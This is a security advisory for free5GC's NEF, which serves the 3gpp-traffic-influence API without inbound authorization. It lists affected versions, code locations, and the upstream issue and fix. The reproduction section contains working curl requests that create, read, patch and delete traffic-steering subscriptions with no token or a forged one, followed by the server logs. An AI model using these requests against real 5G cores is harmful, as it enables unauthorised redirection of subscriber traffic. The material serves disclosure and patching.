| Package | Affected versions | Patched versions |
|---|---|---|
| github.com/free5gc/nef | ≤ 1.2.3all versions | |
| free5gc | < 4.2.2 | 4.2.2 |
free5GC's NEF mounts the 3gpp-traffic-influence API without inbound OAuth2/bearer-token authorization. A network attacker who can reach NEF on the SBI can create, read, patch, and delete traffic-influence subscriptions either with no Authorization header at all, or with a forged bearer token (e.g. Authorization: Bearer not-a-real-token). This includes creating AnyUeInd=true subscriptions intended to affect group / any-UE traffic steering. The route group is also reachable even when the running config's ServiceList does not declare it, so operators who think they disabled the service via config are still exposed.
This is the highest-impact NEF service exposure observed in the lab because it enables unauthenticated state changes on traffic-steering policy objects rather than read-only exposure.
Validated against the NEF container in the official Docker compose lab.
v4.2.1free5gc/nef:v4.2.05ce35eabNEF advertises OAuth2 setting receive from NRF: true, and its ServiceList only declares nnef-pfdmanagement and nnef-oam. Despite that, the 3gpp-traffic-influence route group is mounted and reachable with no inbound auth middleware.
Code evidence (paths in free5gc/nef):
NFs/nef/internal/sbi/server.go:48/:afID/subscriptions and /:afID/subscriptions/:subID: NFs/nef/internal/sbi/api_ti.go:13NFs/nef/internal/sbi/processor/ti.go:50NFs/nef/internal/sbi/processor/ti.go:279NFs/nef/internal/sbi/processor/ti.go:355GetTokenCtx); there is no inbound authorization path: NFs/nef/internal/context/nef_context.go:153nnef-pfdmanagement and nnef-oam: NFs/nef/pkg/factory/config.go:126Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site freeReproduced end-to-end against the running NEF at http://10.100.200.19:8000.
Authorization header at all -> 201 Created:curl -i \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-noauth","afAppId":"app-noauth","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.40 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-noauth","routeInfo":{"ipv4Addr":"10.60.0.1","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-noauth/subscriptions
201 Created:curl -i \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"afServiceId":"svc-high","afAppId":"app-high","dnn":"internet","snssai":{"sst":1,"sd":"010203"},"anyUeInd":true,"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc","routeInfo":{"ipv4Addr":"10.60.0.2","portNumber":0}}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions
200 OK:curl -i -H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
500 Query to UDR failed (still reaches business logic, not 401/403, so auth bypass confirmed):curl -i -X PATCH \
-H 'Authorization: Bearer not-a-real-token' \
-H 'Content-Type: application/json' \
--data '{"trafficFilters":[{"flowId":1,"flowDescriptions":["permit out ip from 192.0.2.20 to 198.51.100.0/24"]}],"trafficRoutes":[{"dnai":"mec-poc-updated"}]}' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
204 No Content:curl -i -X DELETE \
-H 'Authorization: Bearer not-a-real-token' \
http://10.100.200.19:8000/3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
NEF container logs (docker logs nef) show the requests reaching business handlers and returning success / 500-from-business codes (never 401/403):
[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-high]
[INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-high/subscriptions
[INFO][NEF][TraffInfl] PatchIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 500 | PATCH | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] GetIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 200 | GET | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] DeleteIndividualTrafficInfluenceSubscription - afID[af-poc-high], subID[1]
[INFO][NEF][GIN] | 204 | DELETE | /3gpp-traffic-influence/v1/af-poc-high/subscriptions/1
[INFO][NEF][TraffInfl] PostTrafficInfluenceSubscription - afID[af-poc-noauth]
[INFO][NEF][GIN] | 201 | POST | /3gpp-traffic-influence/v1/af-poc-noauth/subscriptions
Missing inbound authentication (CWE-306) and authorization (CWE-862) on the highest-impact NEF SBI surface. Any party that can reach NEF on the SBI network can:
AnyUeInd=true group/any-UE subscriptions), redirecting AF traffic to attacker-chosen DNAIs and routing endpoints via SMF/UPF.The traffic-influence route group is also reachable even when the runtime ServiceList does not declare it, so operators relying on ServiceList to disable the service do not actually get that protection.
Affected: free5gc v4.2.1.
Upstream issue: https://github.com/free5gc/free5gc/issues/859 Upstream fix: https://github.com/free5gc/nef/pull/23